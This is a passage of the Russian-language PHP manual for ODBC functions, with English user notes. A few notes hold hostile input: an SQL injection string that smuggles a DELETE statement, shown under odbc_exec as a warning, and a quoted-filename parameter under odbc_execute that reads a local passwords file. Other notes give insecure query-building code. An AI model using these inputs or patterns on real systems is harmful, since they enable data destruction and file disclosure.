В этом примере строка заключается в кавычки, а затем помещается в строку соединения. Обратите внимание, что строка заключена в кавычки, а символ окончания кавычек в середине строки был экранирован.

<?php
$value = odbc_connection_string_quote("foo}bar");
$connection_string = "DSN=PHP;UserValue=$value";
echo $connection_string;
?>

Результатом выполнения данного примера будет что-то подобное:

DSN=PHP;UserValue={foo}}bar}

Смотрите также

  • odbc_connection_string_is_quoted() - Определяет, заключено ли значение строки соединения ODBC в кавычки
  • odbc_connection_string_should_quote() - Определяет, следует ли заключать значение строки соединения ODBC в кавычки

User Contributed Notes

There are no user contributed notes for this page.


Определяет, следует ли заключать значение строки соединения ODBC в кавычки

  • « odbc_connection_string_quote
  • odbc_cursor »
  • PHP Manual
  • Функции ODBC
  • Определяет, следует ли заключать значение строки соединения ODBC в кавычки

odbc_connection_string_should_quote

(PHP 8 >= 8.2.0)

odbc_connection_string_should_quote — Определяет, следует ли заключать значение строки соединения ODBC в кавычки

Описание

odbc_connection_string_should_quote(string $str): bool

Определяет, нужно ли заключать строку в кавычки для строкового значения соединения ODBC, т.е. содержит ли она специальные символы.

Обратите внимание, что при этом не проверяется, заключена ли строка в кавычки; уже заключённая в кавычки строка будет содержать символы, которые заставят эту функцию вернуть значение true. Для проверки следует использовать функцию odbc_connection_string_is_quoted().

Список параметров

str

Строка, которую необходимо проверить.

Возвращаемые значения

Возвращает true, если строка должна быть заключена в кавычки, в противном случае возвращает false.

Смотрите также

  • odbc_connection_string_quote() - Заключает в кавычки значение строки подключения
  • odbc_connection_string_is_quoted() - Определяет, заключено ли значение строки соединения ODBC в кавычки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя курсора

  • « odbc_connection_string_should_quote
  • odbc_data_source »
  • PHP Manual
  • Функции ODBC
  • Возвращает имя курсора

odbc_cursor

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_cursor — Возвращает имя курсора

Описание

odbc_cursor(resource $statement): string|false

Возвращает имя курсора для данного result_id.

Список параметров

statement

Идентификатор результата.

Возвращаемые значения

Возвращает имя курсора в виде строки или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о доступных DSN

  • « odbc_cursor
  • odbc_do »
  • PHP Manual
  • Функции ODBC
  • Возвращает информацию о доступных DSN

odbc_data_source

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

odbc_data_source — Возвращает информацию о доступных DSN

Описание

odbc_data_source(resource $odbc, int $fetch_type): array|false

Эта функция вернёт список доступных DSN (после нескольких вызовов).

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

fetch_type

fetch_type может быть одним из двух типов констант: SQL_FETCH_FIRST, SQL_FETCH_NEXT. Используйте SQL_FETCH_FIRST при первом вызове этой функции, после этого используйте SQL_FETCH_NEXT.

Возвращаемые значения

Возвращает false в случае возникновения ошибки, массив (array) в случае успешного выполнения и null после выборки последнего доступного DSN.

Примеры

Пример #1 Перечисление доступных DSN

<?php
$conn = odbc_connect('dsn', 'user', 'pass');
$dsn_info = odbc_data_source($conn, SQL_FETCH_FIRST);
while ($dsn_info) {
print_r($dsn_info);
$dsn_info = odbc_data_source($conn, SQL_FETCH_NEXT);
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [server] => dsn
    [description] => ODBC Driver 17 for SQL Server
)
Array
(
    [server] => other_dsn
    [description] => Microsoft Access Driver (*.mdb, *.accdb)
)

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним odbc_exec

  • « odbc_data_source
  • odbc_error »
  • PHP Manual
  • Функции ODBC
  • Псевдоним odbc_exec

odbc_do

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_do — Псевдоним odbc_exec()

Описание

Функция является псевдонимом: odbc_exec().

User Contributed Notes

scottmweaver 01-Jun-2007 03:27
Hey guys,

I used the following code to run normal double quotes inside my SQL queries. Hopefully this will save someone else a headache or two-

<?php

    /**
     * Query Function
     * Allows quoted queries to be sent to SQL
     */

    function query($query, $conn)
    {
        odbc_do($conn, 'SET QUOTED_IDENTIFIER OFF');
        return odbc_do($conn, $query);
    }
?>
phil.nyc 04-Dec-2006 07:23
To clear up: the SQL standard requires strings to be inside single quotes: 'string'.  It simply does not accept double quotes for this purpose.

Furthermore, in PHP, you can have a single quote inside double quotes: "select a from b where c = 'string'" without the need to escape.
yashkhopade at hotmail dot com 10-Jul-2003 03:53
i have use this function so many times. it works well for my requirements. ok well done...

<?php
         $sqlstr="SELECT bill_no FROM SCROL";
         $queryresult=odbc_do($conn,$sqlstr);
         odbc_fetch_row($queryresult,$bills);

        // if we want to access the records
        // then we have to write the following code

        echo $bills[0];

?>

the out put for this will:

 1
which is actullay first record of resultset.


Возвращает последний код ошибки

  • « odbc_do
  • odbc_errormsg »
  • PHP Manual
  • Функции ODBC
  • Возвращает последний код ошибки

odbc_error

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_error — Возвращает последний код ошибки

Описание

odbc_error(?resource $odbc = null): string

Возвращает шестизначное состояние ODBC или пустую строку, если ошибок не возникло.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

Возвращаемые значения

Если указан параметр odbc, возвращается последнее состояние этого соединения, иначе возвращается последнее состояние любого соединения.

Эта функция возвращает осмысленное значение, только если последний запрос ODBC завершился неудачно (т.е. функция odbc_exec() вернула false).

Список изменений

Версия | Описание
8.0.0 | odbc теперь допускает значение null.

Смотрите также

  • odbc_errormsg() - Возвращает последнее сообщение об ошибке
  • odbc_exec() - Выполняет инструкцию SQL напрямую

User Contributed Notes

Dan 23-Jan-2014 04:47
On persistent connections, a  failed T-SQL will allow odbc_error and odbc_errormsg to return the error, but a subsequent successful T-SQL will not clear the error.  Is it a bug?
sunil_limje at indiatimes dot com 18-Jul-2003 03:06
I have use this function, its very simple and cute.
with IBM DB2
<?php
         // you must set the connection first
         if (odbc_error())
         {
               echo odbc_errormsg($conn);
         }
         // if you want to show the perfect error message
         // then format it using string functions.
?>
Have a good day!
Sergio Sartori 03-Apr-2003 09:56
Using IBM DB2 V7.1 and MS SQL Server 7 ODBC database connections.
Print the result of odbc_error() or odbc_errormsg() after each call to an odbc_ function that gives no error and, sooner or later, you'll get garbage instead of a blank string!
aaronbair at hotmail dot com 08-Mar-2002 08:26
If you use an argument, make sure its the CONNECTION_ID and not the RESULT_ID.

Testing the result can return a null string or sometimes a garbage string.

# -- Example code  --
$rs = odbc_exec($dbc, $sql);

#this is wrong but won't error out until
#you demo the page for a client!
  if (odbc_error($rs)) die(...);

#these work
  if (odbc_error()) die(...);
  if (odbc_error($dbc)) die(...);


Возвращает последнее сообщение об ошибке

  • « odbc_error
  • odbc_exec »
  • PHP Manual
  • Функции ODBC
  • Возвращает последнее сообщение об ошибке

odbc_errormsg

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_errormsg — Возвращает последнее сообщение об ошибке

Описание

odbc_errormsg(?resource $odbc = null): string

Возвращает строку, содержащую последнее сообщение об ошибке ODBC, или пустую строку, если ошибок не возникло.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

Возвращаемые значения

Если указан параметр odbc, возвращается последнее состояние этого соединения, иначе возвращается последнее состояние любого соединения.

Эта функция возвращает осмысленное значение, только если последний запрос ODBC завершился неудачно (т.е. функция odbc_exec() вернула false).

Список изменений

Версия | Описание
8.0.0 | odbc теперь допускает значение null.

Смотрите также

  • odbc_error() - Возвращает последний код ошибки
  • odbc_exec() - Выполняет инструкцию SQL напрямую

User Contributed Notes

There are no user contributed notes for this page.


Выполняет инструкцию SQL напрямую

  • « odbc_errormsg
  • odbc_execute »
  • PHP Manual
  • Функции ODBC
  • Выполняет инструкцию SQL напрямую

odbc_exec

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_exec — Выполняет инструкцию SQL напрямую

Описание

odbc_exec(resource $odbc, string $query): resource|false

Отправляет инструкцию SQL на сервер базы данных.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

query

Инструкция SQL.

Возвращаемые значения

Возвращает идентификатор результата ODBC, если команда SQL была выполнена успешно, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр flags был удалён.

Смотрите также

  • odbc_prepare() - Подготавливает запрос к выполнению
  • odbc_execute() - Выполняет запрос

User Contributed Notes

test 07-Nov-2017 03:50
If eval() is the answer, you're almost certainly asking the wrong question.
petercdow at gmail dot com 14-Oct-2013 01:54
An SQL statement that contains quotes (i.e. ") instead of apostrophes (i.e. ') to delimit strings works fine in Access, however, in odbc_exec, it fails with

[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 6.

For example:

$q = "INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES('A', 'B', 'C');"

works fine in both Access and ODBC, but

$q = 'INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES("A", "B", "C");'

fails with the above error.
mir eder 28-Aug-2007 03:39
If you are having problems with truncated text fields from ODBC queries (pe. at 4096 characters), try some of the following:

in php.ini:
- odbc.defaultlrl = 65536

in your php code, before your queries:
- ini_set ( 'odbc.defaultlrl' , '65536' );
delowing gmail dot com 27-Sep-2006 08:19
It is easy to inject evil code into SQL statements. This wraps parameters in quotes so they are not executable. In your own stored procedures you can convert the string to numeric as needed.

function sql_make_string($sin){
         return "'".str_replace("'","''",$sin)."'";
}

// this may delete all data from MYTABLE
$evil = "734'; DELETE FROM MYTABLE; print 'ha ha";
$sql = "SELECT * FROM MYTABLE WHERE mykey = '$evil'";
$rst = odbc_exec($connection,$sql);

// this probably will not delete the data.
$good = sql_make_string($evil);
$sql = "SELECT * FROM MYTABLE WHERE mykey =".$good
$rst = odbc_exec($connection,$sql);
30-Aug-2005 06:18
The following seems counterintuitive to me and so I am constantly getting burned by it.  Just thought I'd add a note for anyone else who might also get burned.

  if (!odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))

is not a good way to search for the existence of a record with Key1 = x and Key2 = y.  The odbc_exec always returns a result handle, even though there aren't any records.

Rather, you must use one of the fetch functions to find out that the record really doesn't exist.  This should work:

  if (!($Selhand = odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))
    || !odbc_result($Selhand, 1))
fuadMD at gmail dot com 24-May-2005 12:34
<?php
// - This is a complete working dynamic example of using:
//    odbc_connect, odbc_exec, getting col Names,
//    odbc_fetch_row and no of rows. hope it helps
// - your driver should point to your MS access file

$conn = odbc_connect('MSAccessDriver','','');

$nrows=0;

if ($conn)
{
$sql =  "select * from $month";
//this function will execute the sql satament
$result=odbc_exec($conn, $sql);

echo "<table  align=\"center\" border=\"1\" borderColor=\"\" cellpadding=\"0\" cellspacing=\"0\">\n";
echo "<tr> ";
// -- print field name
$colName = odbc_num_fields($result);
for ($j=1; $j<= $colName; $j++)
{
echo "<th  align=\"left\" bgcolor=\"#CCCCCC\" > <font color=\"#990000\"> ";
echo odbc_field_name ($result, $j );
echo "</font> </th>";
}
$j=$j-1;
$c=0;
// end of field names
while(odbc_fetch_row($result)) // getting data
{
 $c=$c+1;
 if ( $c%2 == 0 )
 echo "<tr bgcolor=\"#d0d0d0\" >\n";
 else
 echo "<tr bgcolor=\"#eeeeee\">\n";
    for($i=1;$i<=odbc_num_fields($result);$i++)
      {
        echo "<td>";
        echo odbc_result($result,$i);
        echo "</td>";
        if ( $i%$j == 0 )
           {
            $nrows+=1; // counting no of rows
          }
      }
    echo "</tr>";
}

echo "</td> </tr>\n";
echo "</table >\n";
// --end of table
if ($nrows==0) echo "<br/><center> Nothing for $month yet! Try back later</center>  <br/>";
else echo "<br/><center> Total Records:  $nrows </center>  <br/>";
odbc_close ($conn);

}
else echo "odbc not connected <br>";
?>
james @ php-for-beginners co uk 18-Mar-2005 04:54
hi all, I managed to get this little snippet working, it's pretty useful if you have long forms to be inserted into a database.

if ( ! empty ( $_POST ) ){
array_pop($_POST);
 foreach($_POST as $key => $val){
  $columns .= addslashes($key) . ", ";
    $values .= "'" . addslashes($val) . "', ";

 }
 $values = substr_replace($values, "", -2);
 $columns = substr_replace($columns, "", -2);

 $sql = "INSERT INTO table ($columns) VALUES ($values)";
 echo $sql;
 $results = odbc_exec($conn, $sql);
                 if ($results){
              echo "Query Executed";
                }else {
              echo "Query failed " .odbc_error();
            }
}

Not the most secure in the world but, speeds up collecting data from large forms.
Sean Boulter 21-Apr-2004 05:28
If a single quote exists within the field specified by your WHERE statement, ODBC fails because of a parsing error.  Although it seems intuitive, using \" around the field does not work (\"$var\").  The only solution I found was to replace all single quotes in my field with two single quotes.  ODBC interprets the first single quote as an escape character and interprets the second single quote as a literal.  Thanks to http://www.devguru.com/features/knowledge_base/A100206.html for this tip.
rob at vendorpromotions dot com 17-Jun-2003 01:29
This opens select statements 'for update' by default in db2.  If you're using db2, you have to tack on 'for read only' at the end to select from SYSCAT.TABLES, for example, without firing an error like

Warning: SQL error: [IBM][CLI Driver][DB2/LINUX] SQL0151N The column "MAXFREESPACESEARCH" cannot be updated. SQLSTATE=42808 , SQL state 42808 in SQLExecDirect

For example :

$query = odbc_exec($conn, "select * from syscat.tables for read only");
odbc_result_all($query);

will work (only for db2).  I don't know about other databases.

The select statement will work in the 'db2' command line, but not in php, because of this side effect.
rupix at rediffmail dot com 05-Apr-2003 07:05
I tried the following line of code

<?php
$odbc=odbc_connect("pbk", "root","") or die(odbc_errormsg());
$q="insert into pbk values(\"$name\", \"$phone\")";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

it does not work. However if I use single quotes instead of \" the thing runs smoothly

thus the following would work

<?php
$odbc=odbc_connect("pbk", "yourworstnightmare","abracadabra") or die(odbc_errormsg());
$q="insert into pbk values('$name', '$phone')";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

Also having a user dsn is no good on win2k. Always have a System DSN. I don't know yet what are the implications of the same.
das_yrch at hotmail dot com 07-Mar-2003 03:17
I tried this way to see the results of a query and it works!!

$Conn = odbc_connect
("bbdd_usuaris","","",SQL_CUR_USE_ODBC );

$result=odbc_exec($Conn,"select nom from usuaris;");

while(odbc_fetch_row($result)){
         for($i=1;$i<=odbc_num_fields($result);$i++){
        echo "Result is ".odbc_result($result,$i);
    }
}
miguel dot erill at doymer dot com 23-Jul-2002 03:33
In a previous contribution it was told that if you're running NT/IIS with PHP 3.0.11 you can use MS Access dbs "stored procedures".

That was right, but if those stores procedures have parameters you have to supply them in the command line like this:

$conn_id = odbc_connect( "odbc_test_db", "","", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery(".$param.")}" );
martin at NOSPAMkouba dot at 05-Feb-2002 08:37
"[Microsoft][ODBC Microsoft Access Driver] Too few
parameters. Expected 1."

this not so clear to understand error comes when using access-odbc and a field name can't be found. check for correct spelling of fields.
lee200082 at hotmail dot com 21-Jan-2002 05:07
As an addition to the note about square brackets earlier:

Enclosing sql field names in '[' and ']' also allows you to use MS Access reserved words like 'date' and 'field' and 'time' in your SQL query... it seems that the square brackets simply tell Access to ignore any other meaning whatever is inside them has and take them simply as field names.
sk2xml at gmx dot net 21-Nov-2001 06:15
Problem: Fieldnames in SQL-Statement have blanks and [] don't work!

Solution: Try "" instead

Ex.:

SELECT table2.first, table1.[last name] FROM tabel1, table2 -> don't work

SELECT table2.first, table1.\"last name\" FROM tabel1, table2 -> Try this

PS: Don't forget the espace characters !!!
akchu at at ualberta dot ca 07-Jan-2001 08:41
ODBC/MS Access Date Fields:

Matching dates in SELECT statements for MS Access requires the following format:
#Y-m-d H:i:s#

for example:

SELECT * FROM TableName WHERE Birthdate = #2001-01-07 00:00:00#

or

SELECT * FROM TableName WHERE Birthdate BETWEEN #2000-01-07 00:00:00# AND #2001-01-07 00:00:00#

This took me forever to figure out.
vpil at retico dot com 06-Nov-2000 06:24
Additional links to ODBC_exec:
How to actually write the SQL commands:
http://www.roth.net/perl/odbc/faq/
http://www.netaxs.com/~joc/perl/article/SQL.html
Demystifying SQL
BIG REF MANUAL:
http://w3.one.net/~jhoffman/sqltut.htm
Introduction to Structured Query Language
Covers read, add, modify & delete of data.
phobo at at at paradise dot net dot nz 02-Nov-2000 06:26
If Openlink -> MS Access Database fails and gives "Driver Not Capable" error or "No tuples available" warning, use the SQL_CUR_USE_ODBC cursor when using odbc_connect()...

Siggy
andreas dot brunner at rubner dot com 07-Jul-2000 04:54
I wanted to access an MSAccess database via ODBC. The connection functioned without problems, but when I placed a SQL statement into my odbc_exec() i always got an error:
Warning: SQL error: [Microsoft][ODBC Driver Manager] Driver does not support that function, SQL state IM001 in SQLSetStmtOption in \\Server\directory/test.php3 on line 19.

Resolved my problem by myself: i simply had to install a new odbc-driver from the microsoft homepage.
gross at arkana dot de 28-Oct-1999 06:03
If you're running NT/IIS with PHP 3.0.11 and want to use MS Access dbs with "stored procedures" you can send an ODBC SQL query like:
<?php
$conn_id = odbc_connect( "odbc_test_db", "", "", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery}" );
?>
This way you don't need to integrate query strings like

SELECT * FROM TblObject WHERE (((TblObject.something) Like "blahblahblah"));

in the php file. You directly call the query "MyQuery" that was generated by MS Access.
rmkim at uwaterloo dot ca 25-Aug-1999 11:13
for Win32(NT) and MSAcess 2000, whenever you retrieve a date column/field, php will automatically convert it to 'yyyy/mm/dd hh:mm:ss' format regardless of the style of date you've denoted in Access.
This seems to pose a problem when you exec SELECT, UPDATE, or DELETE queries, but strangley INSERT works fine. I've tried parsing the date into the desired format, but php still yells criteria mismatch.


Выполняет запрос

  • « odbc_exec
  • odbc_fetch_array »
  • PHP Manual
  • Функции ODBC
  • Выполняет запрос

odbc_execute

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_execute — Выполняет запрос

Описание

odbc_execute(resource $statement, array $params = []): bool

Выполняет запрос, подготовленный odbc_prepare().

Список параметров

statement

Ресурс (resource) с идентификатором результата из odbc_prepare().

params

Параметры в params заменят псевдопеременные подготовленном запросе по порядку. Элементы этого массива будут преобразованы в строки при вызове этой функции.

Любые параметры в params, заключённые в одинарные кавычки, будут восприниматься как имя файла для чтения и отправки на сервер базы данных в качестве данных для соответствующей псевдопеременной.

Если необходимо сохранить строку, которая на самом деле начинается и заканчивается одинарными кавычками, нужно добавить пробел или другой символ, не являющийся одинарной кавычкой, в начало или конец параметра, что предотвратит использование параметра в качестве имени файла. Если этот вариант не подходит, необходимо использовать другой механизм для хранения строки, например, выполнение запроса напрямую с помощью odbc_exec().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования odbc_execute() и odbc_prepare()

В данном коде $success будет иметь значение true, только если все три параметра myproc присутствуют в массиве параметров:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

Если нужно вызвать хранимую процедуру с использованием параметров INOUT или OUT, рекомендуется использовать собственный модуль для вашей базы данных (например, oci8 для Oracle).

Смотрите также

  • odbc_prepare() - Подготавливает запрос к выполнению

User Contributed Notes

dj at magma dot nz 09-Jan-2019 07:07
When using odbc_execute to an MS Access database use single quotes (not double quotes) for literal string definitions.

e.g. $sql = "Insert into [table] ([first], [last]) select 'Bob', 'Builder';"

If you use double quotes you may end up with an error like: [Microsoft] [ODBC Text Driver] Too few parameters. Expected: 2
vince at dinapoliwest dot com 13-Jun-2016 08:48
I've been using odbc functions for quite a while and I was floored when I finally read the details about the how the parameters are handled when they start and end with single quotes! I assumed that the main reason for odbc_execute vs. odbc_exec was to prevent sql injection but apparently this added feature actually opens another security hole, perhaps worse. This was my fix:

<?php

function odbc_execute_clean_parameters($result_id, $parameters_array){
  for($i = 0; $i < count($parameters_array); ++$i){
    if( substr($parameters_array[$i], -1) == "'" && substr($parameters_array[$i], 0 ,1) == "'" ){
      $parameters_array[$i].= " ";
    }
  }
  return odbc_execute($result_id, $parameters_array);
}

// then call
$stmt = odbc_prepare($conn, " insert into mytable (col1, col2) values (?, ?) ");
$r = odbc_execute_clean_parameters($stmt, array( $val1, $val2 ) );

?>
Marco Napetti 25-Oct-2012 10:18
To use prepared with select queries, the right way is:
<?PHP

$rConnection = odbc_connect('AS400', 'QSECOFR', 'QSECOFR');
if($rConnection === false) {
    throw new ErrorException(odbc_errormsg());
}

$rResult = odbc_prepare($rConnection, 'SELECT * FROM KMNSH00F WHERE SHTMST > ?');
if($rResult === false) {
    throw new ErrorException(odbc_errormsg());
}

if(odbc_execute($rResult, array('0001-01-01 00:00:00.000000')) === false) {
    throw new ErrorException(odbc_errormsg());
}

odbc_result_all($rResult);

odbc_free_result($rResult);

odbc_close($rConnection);

?>
alvaro at demogracia dot com 20-Dec-2011 05:16
When odbc_execute() fails it returns FALSE and triggers a warning but it will not necessarily feed odbc_error() and odbc_errormsg().
anonymous 29-Apr-2009 11:32
if you can't use php_mssql module in your environment (suse linux, apache2, php5, FreeTDS, unixODBC) an alternative is to use sql server functions instead of procedures. here is my sample code.

<?php
  $connect        = odbc_connect($myDB, $myUser, $myPass);

  $query = "SELECT dbo.<function>(<column>,<text>) alias";

  // perform the query
  $result = odbc_exec($connect, $query);

  while(odbc_fetch_row($result)) {
    $Var1    = odbc_result($result, <column alias>);
    //echo "Var1: " . $Var1 . "<br>";

        // add additional logic

  }
?>

Once I figured this out, my app worked perfectly.
jeroen at pyromanic dot nl 05-Jun-2008 01:05
If you want to use stored procedures with MSSQL over ODBC, please read

http://www.sitepoint.com/article/php-microsoft-sql-server/2

It can you save lots of time ;)
traynor at uni hyphen hannover dot de 08-Nov-2007 06:09
Obdc_prepare and obdc_execute can only be used as an alternative to odbc_exec in limited circumstances:

$con = obdc_connect ($dsn, $user, $pass);
$sql = "select * from TABLE";

$result = obdc_exec ($con, $sql); //this line can be replaced as blow
//then to see results:

odbc_result_all ($result);
odbc_free_result ($result);
odbc_close ($con);

gives the same result with the middle line as:

$result = odbc_prepare ($con, $sql);
odbc_execute ($result);

as long as $sql contains a well formed and complete query.

There is no point in trying to convert this into a parameter query with question marks as placeholders, since code like this will result only in error messages:

$sql = "select * from TABLE where needle = ?";
$result = odbc_prepare ($con, $sql);
for ($i = 0; $i < 4; $i++)
{
  odbc_execute ($result, array ($i));
  // and whatever you want to do with the result
  // but all you get is "parameter expected" or "count does not match"
}

The lack of documentation for such functions should have been an alarm signal.
a dot brock at hhv-rheinklang dot de 24-Aug-2006 04:38
I have a solution for the problem with the strings beeing interpreted as filename because of the single quotes:

Just add a blank to the end of the string:

<?php
function odbc_escape_params ($params) {
 if (!is_array($params) or empty($params)) {
  return array();
 }
 foreach ($params as $key=>$val) {
  if (strlen($val) > 1 and $val{0} == "'" and $val{strlen($val)-1} == "'") {
   $params[$key] .= ' ';
  }
 }
 return $params;
}
?>
mjs at beebo dot org 27-Mar-2006 01:57
Don't miss the part where it says that if your string starts and ends with a single quote, the string is interpreted as a filename!

This means that you can't do:

$sth = odbc_prepare($dbh, "INSERT INTO people(name) VALUES(?)");
$res = odbc_execute($sth, array($name));

without checking the value of $name--if $name is, say, '\\'c:\\passwords.txt\\'' the contents of c:\\passwords.txt get inserted into your database as a "name".

Also, despite what the documentation suggests, there (incredibly) doesn't appear to be any way to escape your single quotes (via experimentation, and from reading the source): if your string starts and ends with a single quote you cannot use odbc_execute to insert it into the database.
russell dot brown at removethis dot insignia dot com 09-Feb-2004 12:55
In reply to tcmleung at yahoo dot com (09-Nov-2001), I would add a caveat that I've found, which is that the odbc.defaultlrl/odbc_longreadlen() values may only apply to odbc->php conversion and not php->odbc (though this may be database-specific). Hence, if you want to post binary data the 4096 byte limit still stands. So you stand a better chance of being able to post binary data using the quoted filename upload procedure described above, rather than using the prepare... execute method with data held in a php variable.
svemir_AT_baltok.com 06-Sep-2002 10:45
In reply to cpoirier's note from 04-Mar-2001 03:30:

Currently, Access 2000 DOES support parametrized queries via ODBC. It still seems to have a problem with Memo and OLE fields, but "normal" types work just fine.
tcmleung at yahoo dot com 09-Nov-2001 01:22
odbc has a maximum buffer size, that means it only stores and retrieves a limited size of data to/from database each time. The maximum buffer size is 4096 and set in php.ini (odbc.defaultlrl). You can set it to higher value for larger data access.
sjericson at mindspring dot com 25-Aug-2001 10:43
I don't think odbc_prepare and odbc_execute support output parameters for stored procedures on MSSQL.  An example of output parameters for MSSQL is at  http://support.microsoft.com/support/kb/articles/q174/2/23.asp

Also, my MSSQL driver seems happy only when I use the following incantation:

...code removed...
$stmt=odbc_prepare($conn_id, "exec my_proc_name ?,?,?");
$parms=array("fred","password",5);
if (!odbc_execute($stmt, &$parms)) die("odbc_execute failed");
reaganpr at hotmail dot com 23-Jul-2001 04:50
When running the CGI version of 4.0.6 under windows, I came across this error when trying to call a stored procedure in SQL Server using odbc_execute w/ the parameter array set:

FATAL:  emalloc():  Unable to allocate 268675669 bytes

Scary error, huh? In my case it just meant that SQL Server couldn't find the stored procedure.  Totally my fault, but a rather nondescript error message.

p.
cpoirier at shelluser dot net 04-Mar-2001 02:30
A quick note in hopes that my pain will save someone else:  Microsoft Access ODBC drivers do not support parameterized queries.
edrenth at thematec dot nl 17-Oct-2000 06:17
When used with parameters and the statement fails, you cannot use different arguments anymore, the same arguments as with the failed statement will be used.
wntrmute at tampabay dot rr dot com 15-Aug-1998 09:22
Solid Issue:
Solid defines CHAR, VARCHAR, LONG VARCHAR, BINARY, VARBINARY, and LONG VARBINARY to be a maximum of 2G in length.  However, when creating your tables for use with PHP one should choose LONG VARCHAR or LONG VARBINARY for these kinds of fields if you are planning on storing really large or lengthy data.  IE: Data exceeding 64k in length such as GIF/JPG, or really huge text areas.


Возвращает строку результата в виде ассоциативного массива

  • « odbc_execute
  • odbc_fetch_into »
  • PHP Manual
  • Функции ODBC
  • Возвращает строку результата в виде ассоциативного массива

odbc_fetch_array

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

odbc_fetch_array — Возвращает строку результата в виде ассоциативного массива

Описание

odbc_fetch_array(resource $statement, int $row = -1): array|false

Возвращает ассоциативный массив (array) из запроса ODBC.

Список параметров

statement

Ресурс результата из odbc_exec().

row

Необязательный параметр, указывающий номер строки для возврата.

Возвращаемые значения

Возвращает массив, соответствующий возвращаемой строке, или false если строк больше нет.

Примечания

Замечание: Функция существует при компиляции с поддержкой DBMaker, IBM DB2 или UnixODBC.

Смотрите также

  • odbc_fetch_row() - Возвращает строку
  • odbc_fetch_object() - Возвращает строку результата в виде объекта
  • odbc_num_rows() - Возвращает количество строк в результате

User Contributed Notes

eion at robbmob dot com 09-Aug-2022 09:56
This function can also return 'false' if there was a row with corrupt data (eg bad binary data or invalid locale data) depending on what ODBC driver you're connecting to.  Subsequent calls to odbc_fetch_array() will still return results in those cases.

Either compare the number of rows fetched using the odbc_num_rows() function (if the driver provides such data), or verify that there's not some extra data after the failing rowduring your while loops:

<?php
// Allow for up to two sequential rows of bad/corrupt data
while(($row = odbc_fetch_array($res)) || ($row = odbc_fetch_array($res)) || ($row = odbc_fetch_array($res))) {
    var_dump($row);
}
?>

Seen in the wild when using PHP's ODBC to talk to Informix and Foxpro databases.
dinchu at gmail dot com 12-Nov-2014 03:28
I've found an issue while working with php ODBC functions. odbc_fetch_array and odbc_fetch_object fail when query has a join with a table that has the same column name, even when that certain field is excluded from the field selection (With SQL SERVER):

THIS ONLY HAPPENS WHEN USING SQL_CUR_USE_ODBC

for example

$con = odbc_connect("Driver={SQL Server Native Client 11.0};Server=$serverName;Database=$db;", 'user', 'pass',SQL_CUR_USE_ODBC);

$query="SELECT table1.field1, table1.field2 from table1 JOIN table2 ON  table1.field1=table2.field1";

$result = odbc_exec($con,$query);

 $a=odbc_fetch_array($result);
the code above generates a warning:

Warning: odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][SQL Server Native Client 10.0][SQL Server]the column name '' is ambiguous., SQL state 37000 in SQLGetData

The error would be okay if i had selected field1 without specifying from which table, but even when it is explicit it doesn't work. the only "workaround" i've found so far is to remove the field from the selected fields or changinf the field name from the second table

I tried with: both SQL Server Native Client 10.0 and SQL Server Native Client 11.0 SQL server 2008 Php 5.3.2 over Windows

PD: If someone has any aideas without using sqlsrv or mssqL extension it will be great
Vadim Istratov 10-Nov-2010 04:21
Be careful while using this function with MSSQL for fetching results of SQL queries like following: "SELECT * FROM table". In this case array will NOT contain named indexes!

I.e.:
Table:
------------------------
| col1 | col2 | col3  |
------------------------
|   1   |   2   |   3   |
------------------------
|   4   |   5   |   6   |
------------------------

Code:
---------------------
<?php
$query = "SELECT * FROM table";
$res = odbc_exec($query);

while( $row = odbc_fetch_array($res) ) {
    print_r($row);
}
?>
---------------------

Output will be:
---------------------
Array(
 [0] => 1,
 [1] => 2,
 [2] => 3
)
Array(
 [0] => 4,
 [1] => 5,
 [2] => 6
)
---------------------

No field names here!
James Auxier 27-Mar-2009 10:30
Some interesting behavior was discovered while attempting simultaneous queries to a MS SQL server through the ODBC/freeTDS layer on SUSE on a persistent connection with ODBC cursors enabled. Stepping through the first resource with odbc_fetch_array() in a while loop works as expected, but calls to subsequently created resources within that loop were failing to return data where MySQL equivalents to the script were working just fine.

I found that adding a num_rows function call [custom function that simply steps through the result set... the misbehavior of odbc_num_rows() is another matter] immediately following each odbc_exec() then resetting the cursor seemed to cache the results for proper performance of the multiple active result sets.  It may be slightly slower than the MySQL equivalent, but at least it works.
michael dot buergi at zhdk dot ch 08-May-2008 02:30
I use an odbc connection to a mssql2000 db. As long as I had set ansi_warnings on, I occasionnally got the last record twice when retrieving them with odbc_fetch_array or odbc_fetch_row and odbc_result.
bryant at zionprogramming dot com 20-Mar-2008 03:04
